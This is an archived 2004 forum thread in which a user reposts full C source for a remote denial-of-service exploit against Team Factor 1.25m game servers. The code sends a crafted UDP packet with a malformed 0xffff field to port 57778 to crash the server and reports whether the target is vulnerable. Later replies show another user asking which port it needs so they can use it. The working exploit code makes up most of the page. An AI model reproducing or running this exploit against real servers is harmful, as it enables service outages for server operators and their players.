

 

|
|
|
|
GaLiaRePt
Feb 24 2004, 10:41 PM
Team Factor 1.25m remote server denial of service exploitDate: 2004-02-25 Author : Luigi Auriemma <aluigi@altervista.org> Download : http://www.security-corporation.com/downlo...loit/tfboom.zip | CODE | /* by Luigi Auriemma UNIX & WIN VERSION */#include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef WIN32 #include <winsock.h> #include "winerr.h" #define close closesocket #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netdb.h> #endif
#define VER "0.1" #define BUFFSZ 2048 #define PORT 57778 #define TIMEOUT 5 #define OFFSET 12 #define BOOM 0xffff // abnormal program termination // #define BOOM 0x8000 // unallocated memory reading #define SEND { \ err = sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, psz); \ if(err < 0) std_err(); \ } #define RECV { \ err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz); \ if(err < 0) std_err(); \ buff[err] = 0x00; \ printf(" %s\n", buff + OFFSET + 2); \ }
int timeout(int sock); u_long resolv(char *host); void std_err(void);
int main(int argc, char *argv[]) { int sd, err, psz; u_short port = PORT; struct sockaddr_in peer; u_char *buff, pck[] = "\x00\x00\x00\x00\x00\x00\x00\x00\xb1\x36\x01\x01" "\x00\x05" "hello"; // | // big endian! setbuf(stdout, NULL); fputs("\n" "Team Factor <= 1.25m remote server crash "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s <server> [port(%d)]\n" "\n", argv[0], PORT); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(port); peer.sin_family = AF_INET; psz = sizeof(peer); printf("\nTarget %s:%hu\n", inet_ntoa(peer.sin_addr), port); buff = malloc(BUFFSZ); if(!buff) std_err(); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); /* INFO */ fputs("\n- Requesting informations:\n\n", stdout); SEND; if(timeout(sd) < 0) { fputs("\nError: socket timeout\n", stdout); exit(1); } RECV; /* BOOM */ fputs("\n- Sending the BOOM packet:\n\n", stdout); *(u_short *)(pck + OFFSET) = htons(BOOM); SEND; if(timeout(sd) < 0) { fputs("Server IS vulnerable!!!!!!!!\n\n", stdout); } else { fputs("Server is not vulnerable\n\n", stdout); } close(sd); return(0); }
int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); }
u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)hp->h_addr; } return(host_ip); }
#ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif |
Not very useful but I post it...
DRuCuLa
Feb 25 2004, 07:17 PM
Which port does it need? could be useful.... right now, i need the port.......
GaLiaRePt
Feb 25 2004, 07:38 PM
DRuCuLa
Mar 1 2004, 01:24 PM
| QUOTE (GaLiaRePt @ Feb 25 2004, 07:38 PM) | | |
sorry. havent noticed it.... my mistake.... thanks mate!
GaLiaRePt
Mar 1 2004, 04:32 PM
| QUOTE (DRuCuLa @ Mar 1 2004, 01:24 PM) | | QUOTE (GaLiaRePt @ Feb 25 2004, 07:38 PM) | | |
sorry. havent noticed it.... my mistake.... thanks mate! |
No problem dude ;-)
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|
| |
|